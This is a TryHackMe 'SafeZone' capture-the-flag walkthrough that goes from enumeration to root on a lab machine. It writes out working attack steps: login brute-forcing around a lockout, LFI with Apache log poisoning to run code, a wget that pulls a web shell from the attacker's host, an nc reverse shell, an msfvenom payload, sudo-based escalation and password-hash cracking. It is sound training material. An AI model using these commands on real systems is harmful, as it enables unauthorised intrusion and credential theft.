TryHackMe: Safezone

TryHackMe: SafeZone by cr3t3ht3

No help/hints and no writeups are permitted until April 1st, 7pm (GMT) (4 days after release). DM me on discord cyberbot#1859, only if you are completely stuck.

Enumeration

Ok, let's add to /etc/hosts and run our rustscan...

╰─⠠⠵ rustscan -a safezone --ulimit 10000 -- -sC -sV -oA safezone -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.116.100:22
Open 10.10.116.100:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-29 01:07 BST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 0.00s elapsed
Initiating Ping Scan at 01:07
Scanning 10.10.116.100 [2 ports]
Completed Ping Scan at 01:07, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 01:07
Scanning safezone (10.10.116.100) [2 ports]
Discovered open port 80/tcp on 10.10.116.100
Discovered open port 22/tcp on 10.10.116.100
Completed Connect Scan at 01:07, 0.04s elapsed (2 total ports)
Initiating Service scan at 01:07
Scanning 2 services on safezone (10.10.116.100)
Completed Service scan at 01:07, 6.07s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.116.100.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 1.34s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 0.15s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 0.00s elapsed
Nmap scan report for safezone (10.10.116.100)
Host is up, received syn-ack (0.032s latency).
Scanned at 2021-03-29 01:07:10 BST for 8s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 30:6a:cd:1b:0c:69:a1:3b:6c:52:f1:22:93:e0:ad:16 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIZwg1Xg+/teSBsAyVem1Ovp/oFv0mR+IX+4/qdmqRNPhah+L7o7OJvxd9wKXci4wKKybo403rgpj9hTpAKC3JkYM9q/7p0fMcmf/gHTZIkPV/kC2Lk9RRNyYKPBTGgkyHQI5fBbbxLAIqLfScgIU3O+4EAi2DIVohjToPrrSlRF5BYgb/SGeQ0PF7xlkHLKQJb7jMAWztiCsemGP+6FSCJlw0DHHry8L41pxAaDOSGHkbIGQBZtumflUEBuyDE86aWEKJmTuMHrUAbxdwq4NEisQeGuy2Dp56U0dHk1r3gT600LDeJbgfwPX9QJjvR69+/wnFXPrscHxw1avI3tS3
|   256 84:f4:df:87:3a:ed:f2:d6:3f:50:39:60:13:40:1f:4c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDd+Ow7P3VaJCNTcFZ8VJrva7Qb5nXQwjfA4E1dZ5z2bB0nvMYS8q7stBc6G/hbIRBhtCDHO/VoF+J3Mgv+n7xQ=
|   256 9c:1e:af:c8:8f:03:4f:8f:40:d5:48:04:6b:43:f5:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMWsHWoXXYB4phx5IY+yiW0K8aNHbCOzAPWtMB9K4KKJ
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Whoami?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:07
Completed NSE at 01:07, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds

tcp/22 - ssh

Let's skip as we do not have a username/password

tcp/80 - http

Nothing interesting in page source and no robots.txt so let's fire up gobuster

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://safezone/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,bak,gz,zip,php,db,sql,tar.gz
[+] Timeout:                 10s
===============================================================
2021/03/29 01:10:51 Starting gobuster in directory enumeration mode
===============================================================
/news.php             (Status: 302) [Size: 922] [--> index.php]
/register.php         (Status: 200) [Size: 2334]               
/index.html           (Status: 200) [Size: 503]                
/index.php            (Status: 200) [Size: 2372]               
/detail.php           (Status: 302) [Size: 1103] [--> index.php]
/logout.php           (Status: 200) [Size: 54]                  
/dashboard.php        (Status: 302) [Size: 922] [--> index.php] 
/note.txt             (Status: 200) [Size: 121] 

index.php / index.html the old apache default files ording ...... Trying some sqli on the login form at index.php does not work so I create an account via /register.php

Taking another look at gobuster output we have /note.txt

Message from admin :-

		I can't remember my password always , that's why I have saved it in /home/files/pass.txt file .

Ok so once we get lfi or a shell we may have a file to look at for a password.

user flag

Trying some lfi on the pages after registering did not really get me anywhere. After a hint from discord I tried some more directory brute forcing and found another directory

╰─⠠⠵ gobuster dir -u http://safezone.thm/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://safezone.thm/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/04/01 21:49:33 Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 277]
Progress: 23816 / 62284 (38.24%)              [ERROR] 2021/04/01 21:50:18 [!] parse "http://safezone.thm/error\x1f_log": net/url: invalid control character in URL
/~files               (Status: 301) [Size: 313] [--> http://safezone.thm/~files/]
                                                                                 
===============================================================
2021/04/01 21:51:23 Finished
===============================================================

Looking here we find ~files/pass.txt

Admin password hint :-

		admin__admin

				" __ means two numbers are there , this hint is enough I think :) "

Using this password hint we can try and guess the password. Unfortunately we get an issue where too many incorrect guesses locks us out.

However it appears a correct login resets this.... So I use /register.php to register a test account and then have curl in a while true loop successfully login.... not the best solution but works.

╰─⠠⠵ while true; do curl 'http://safezone.thm/index.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://safezone.thm' -H 'Connection: keep-alive' -H 'Referer: http://safezone.thm/index.php' -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw 'username=test&password=test&submit=Submit' -L  ; done

I then generate the password list

for i in `seq -w 00 99`; do echo "admin"$i"admin" >> pass ; done

Then load this into burp and start the attack

POST /index.php HTTP/1.1
Host: safezone.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

username=Admin&password=§pass§&submit=Submit

Once in a looking around we see a text box on detail.php, a note in the source code gives us a possible lfi


<!-- try to use "page" as GET parameter-->

So let's test this with the note.txt we had earlier

That works! Trying the usual ../.. to get to /etc/passwd does not seem to work so let's try ..//.. which works

<h2 style='color:Tomato;margin-left:100px;margin-top:-80px'>Find out who you are :) </h2><br><br><br><div style="align:center;" class="divf"><form class="box" method="POST" style="text-align:center"><input required AUTOCOMPLETE="OFF" style="text-align:center;" type="text" placeholder="user" name="name"><br><br><input type="submit" value="whoami" name="sub"></form></div>//////////etc//passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
....
.....
......

So now we need an RCE to get a foothold, testing =..//..//..//..//..//..//..//..//..//..//var//log//apache2//access.log appears to read the log file so let's do the standard RCE

curl -A '<?php echo exec($_GET[cmd]) ; ?>' http://safezone.thm

I then copy artyumm Simple PHP Web SHell to /tmp/ which is writable

http://safezone.thm/detail.php?page=..//..//..//..//..//..//..//..//..//..//var//log//apache2//access.log&cmd=wget%20http://10.9.0.38:8000/web.php%20-O%20/tmp/web.php

From here we can browse to http://safezone.thm/detail.php?page=/tmp/web.php which includes our shell.

From here we can a reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.38 4444 >/tmp/f

╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.0.38] from (UNKNOWN) [10.10.187.157] 44954
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@safezone:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@safezone:/var/www/html$

PrivEsc #1

Ok now we are on the box we need to privesc to do anything more, looking at sudo -l we get

www-data@safezone:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on safezone:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User www-data may run the following commands on safezone:
    (files) NOPASSWD: /usr/bin/find

Jumping over to GTFOBins we see

www-data@safezone:/home$ sudo -u files find . -exec /bin/sh -p \; -quit
sudo -u files find . -exec /bin/sh -p \; -quit
$ id
id
uid=1001(files) gid=1001(files) groups=1001(files)

Looking in /home/files we see '.something#fake_can@be^here' which appears to be a username:passwordhash..

files@safezone:~$ cat '.something#fake_can@be^here'
cat '.something#fake_can@be^here'
files:[REDACTED]

Throwing this into 1hashcat1 we can crack it with rockyou.txt

╰─⠠⠵ hashcat -a 0 -m 1800 files /usr/share/wordlists/rockyou.txt

We can then use the password to log in via ssh for a better more stable shell

╰─⠠⠵ ssh files@safezone
files@safezone's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-140-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr  2 05:15:42 IST 2021

  System load:  0.08               Processes:           131
  Usage of /:   12.2% of 39.45GB   Users logged in:     0
  Memory usage: 28%                IP address for eth0: 10.10.187.157
  Swap usage:   0%


0 packages can be updated.
0 of these updates are security updates.


Last login: Mon Mar 29 03:44:43 2021 from 192.168.28.227
files@safezone:~$ 

PrivEsc #2

Now we are files we let's take a look at sudo -l again

files@safezone:~$ sudo -l
sudo -l
Matching Defaults entries for files on safezone:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User files may run the following commands on safezone:
    (yash) NOPASSWD: /usr/bin/id


files@safezone:~$ sudo -uyash /usr/bin/id
uid=1000(yash) gid=1000(yash) groups=1000(yash),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),114(sambashare)

After spending far too much time on this ran linPEAS and found

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports                                                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                                            
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   

Hmmm, so we have a webserver listen on port 8000 on localhost only...

files@safezone:~$ curl http://127.0.0.1:8000 -v
* Rebuilt URL to: http://127.0.0.1:8000/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8000 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8000
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 403 Forbidden
< Server: nginx/1.14.0 (Ubuntu)
< Date: Fri, 02 Apr 2021 15:03:17 GMT
< Content-Type: text/html
< Content-Length: 178
< Connection: keep-alive
< 
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
* Connection #0 to host 127.0.0.1 left intact

No access so let's take a look at the nginx config

server {
        listen 127.0.0.1:8000 default_server;
        #listen [::]:8000 default_server;

        # SSL configuration
        #
        # listen 443 ssl default_server;
        # listen [::]:443 ssl default_server;
        #
        # Note: You should disable gzip for SSL traffic.
        # See: https://bugs.debian.org/773332
        #
        # Read up on ssl_ciphers to ensure a secure configuration.
        # See: https://bugs.debian.org/765782
        #
        # Self signed certs generated by the ssl-cert package
        # Don't use them in a production server!
        #
        # include snippets/snakeoil.conf;

        root /opt;

Ok so the files are hosted under /opt so lets take a look

files@safezone:~$ ls /opt/
ls: cannot open directory '/opt/': Permission denied

It is never easy! Ok so we could with running some enumeration over it so we need a port forward

╰─⠠⠵ ssh -L 8000:127.0.0.1:8000 files@safezone -N -f
files@safezone's password: 

Now going to http://127.0.0.1:8000/ we see the webpage

Now we can run gobuster over the site.

╰─⠠⠵ gobuster dir -u http://127.0.0.1:8000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip,gz,db,bak,tar.gz,tar
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://127.0.0.1:8000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,bak,tar.gz,txt,zip,gz,db,tar
[+] Timeout:                 10s
===============================================================
2021/04/02 16:17:03 Starting gobuster in directory enumeration mode
===============================================================
/login.html           (Status: 200) [Size: 462]

<html>
<head>
<script src="login.js"></script>
</head>
<body>
<div class="container">
<div class="main">
<form id="form_id" method="post" name="myform" style="text-align:center">
<label>User Name :</label>
<input type="text" name="username" id="username"/><br><br>
<label>Password :</label>
<input type="password" name="password" id="password"/><br><br>
<input type="button" value="Login" id="submit" onclick="validate()"/>
</form>
</div>
</div>
</body>
</html>

Ok, so now we have login form, again after test a login we find that it is protected to block brute forcing. Looking in the login.js we see the below

var attempt = 3;
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "user" && password == "pass"){
alert ("Login successfully");
window.location = "pentest.php";
return false;
}
else{
attempt --;
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

By simply visiting the /pentest.php we get the page.

Typing some stuff we get it printed under the submit query button

Using curl to test for command injection we can see we get a call back so this indicates that we do have code injections.

10.10.8.179 - - [02/Apr/2021 16:29:52] "GET / HTTP/1.1" 200 -

So trying a few things it looks like we are limited in what command we can run. So to make life simple I create a new msfvenom reverse shell binary, copy it over and execute it.

╰─⠠⠵ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.0.38 LPORT=4444 -f elf > shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes

╰─⠠⠵ scp shell files@safezone:/tmp/
files@safezone's password: 
shell                                                                                      100%  152     5.2KB/s   00:00    

╰─⠠⠵ ssh files@safezone
files@safezone's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-140-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr  2 21:09:00 IST 2021

  System load:  0.0                Processes:           104
  Usage of /:   12.3% of 39.45GB   Users logged in:     0
  Memory usage: 53%                IP address for eth0: 10.10.8.179
  Swap usage:   0%


0 packages can be updated.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr  2 20:40:58 2021 from 10.9.0.38
files@safezone:~$ chmod +x /tmp/shell 
files@safezone:~$ logout
Connection to safezone closed.

╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.0.38] from (UNKNOWN) [10.10.8.179] 35736

ls
login.html
login.js
pentest.php
uid=1000(yash) gid=1000(yash) groups=1000(yash),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),114(sambashare)

Now we are yash let's get a workable shell..

python3 -c 'import pty;pty.spawn("/bin/bash")'
yash@safezone:/opt$ export TERM=xterm
export TERM=xterm
yash@safezone:/opt$ ^Z
[1]  + 5580 suspended  nc -lvnp 4444

╰─⠠⠵ stty raw -echo; fg
[1]  + 5580 continued  nc -lvnp 4444

yash@safezone:/opt$ 

Now we have a decent shell we can checkout pentest.php and see the filter that gave us some trouble.

if(isset($_POST['btn']))
{
$substitutions = array(
                '&&' => '',
                ';'  => '',
                'bash' => '',
                'tcp' => '',
                'dev' => '',
                'php' => '',
                'python' => '',
                'python3' => '',
                'socat' => '',
                'perl' => '',
                'ruby' => '',
                'nc' => '',
                'ncat' => '',
                'Run' => '',
                'powershell' => '',
                '&'  => '',
                ';'  => '',
                '$'  => '',
                '('  => '',
                ')'  => '',
                '`'  => '',
                '||' => '',
                'bin' => '',
                'id' => '',
                'whoami' => ''
        );

Now moving onto the flag....... let's jump into yash's folder under /home and read the flag..

yash@safezone:/opt$ cd /home/yash/
yash@safezone:/home/yash$ ls
flag.txt
yash@safezone:/home/yash$ cat flag.txt 
THM{[REDACTED]}

root flag

Ok, we now have our first flag so let's try and pop root! Let's first check sudo -l

yash@safezone:/home/yash$ sudo -l
Matching Defaults entries for yash on safezone:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User yash may run the following commands on safezone:
    (root) NOPASSWD: /usr/bin/python3 /root/bk.py

Ok so we can run /root/bk.py as root, let's take a look at the permissions..

yash@safezone:/home/yash$ ls -l /root/bk.py
ls: cannot access '/root/bk.py': Permission denied

Or not ....... SO running this command appears to copy a file and persist the permissions

yash@safezone:/home/yash$ sudo /usr/bin/python3 /root/bk.py
Enter filename: /etc/passwd
Enter destination: /home/yash/password
Enter Password: 123456
yash@safezone:/home/yash$ ls -l
total 12
-rw-rw-r-- 1 yash yash   38 Jan 30 15:24 flag.txt
-rw-r--r-- 1 root root 1658 Apr  2 21:21 password
yash@safezone:/home/yash$ cat password 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Not sure what password does though... Leaving it blank on another attempt we get

Enter Password: 
Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
   -f filename   Take password to use from file
   -d number     Use number as file descriptor for getting password
   -p password   Provide password as argument (security unwise)
   -e            Password is passed as env-var "SSHPASS"
   With no parameters - password will be taken from stdin

   -P prompt     Which string should sshpass search for to detect a password prompt
   -v            Be verbose about what you're doing
   -h            Show help (this screen)
   -V            Print version information
At most one of -f, -d, -p or -e should be used

So it looks like we can copy things over the network which is interesting. Staying local for now I try to copy the script itself...

yash@safezone:/home/yash$ sudo /usr/bin/python3 /root/bk.py
Enter filename: /root/bk.py
Enter destination: /home/yash/bk.py
Enter Password: 1234

yash@safezone:/home/yash$ ls -l
total 16
-rwxr-xr-x 1 root root  336 Apr  2 21:24 bk.py
import subprocess
import os
file = input("Enter filename: ")
location = input("Enter destination: ")
psswd = input("Enter Password: ")

#subprocess.run(["sshpass -p",psswd,"scp","-o","trictHostKeyChecking=no",file,location],shell=True)
os.system("sshpass -p "+psswd+" scp -o StrictHostKeyChecking=no "+file+" "+location+" 2>/dev/null")

Ok, let's try and see if we copy other files from /root

yash@safezone:/home/yash$ sudo /usr/bin/python3 /root/bk.py
Enter filename: /root/*
Enter destination: /home/yash/
Enter Password: 1234

yash@safezone:/home/yash$ ls -l
total 20
-rwxr-xr-x 1 root root  336 Apr  2 21:26 bk.py
-rw-rw-r-- 1 yash yash   38 Jan 30 15:24 flag.txt
-rw-r--r-- 1 root root 1658 Apr  2 21:21 password
-rw-r--r-- 1 root root   38 Apr  2 21:26 root.txt
-rw-r----- 1 root root 1175 Apr  2 21:20 shadow

That looks like it worked :) now lets get the contents of root.txt

yash@safezone:/home/yash$ cat root.txt 
THM{[REDACTED]]}

We have the flag but I want to be r00t!

As this script can copy anything we have a bit of fun to get root.

On our attack box become root and create a bash copy with the suid bit

sudo -s
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

Then on our victim using via ssh copy over bash and in my case libtinfo.so.6

yash@safezone:/home/yash$ sudo /usr/bin/python3 /root/bk.py
Enter filename: user@ip:/tmp/bash
Enter destination: .
Enter Password: mypassword


yash@safezone:/home/yash$ sudo /usr/bin/python3 /root/bk.py
Enter filename: user@ip:/usr/lib/x86_64-linux-gnu/libtinfo.so.6
Enter destination: /usr/lib/x86_64-linux-gnu/libtinfo.so.6
Enter Password: mypassword

yash@safezone:/home/yash$ ls -l
total 1584
-rwsr-sr-x 1 root root 1234376 Apr  2 21:32 bash

yash@safezone:/home/yash$ ./bash -p
bash-5.1# id
uid=1000(yash) gid=1000(yash) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),114(sambashare),1000(yash)
bash-5.1# cd /root
bash-5.1# ls
bk.py  root.txt

As you can see we are now effectively root!!!

Whilst I show one method here there are other various methods you could use such as /etc/passwd or command injection into bk.py..... have a play around with different methods.

Boom! Done.....

Another interesting room, it took longer than it should of due to

  • Finding the correct wordlist to find ~files
  • Getting fixated on trying to exploit the /usr/bin/id sudo

Although I was banging my head against the wall at times it was a good room with some fun concepts.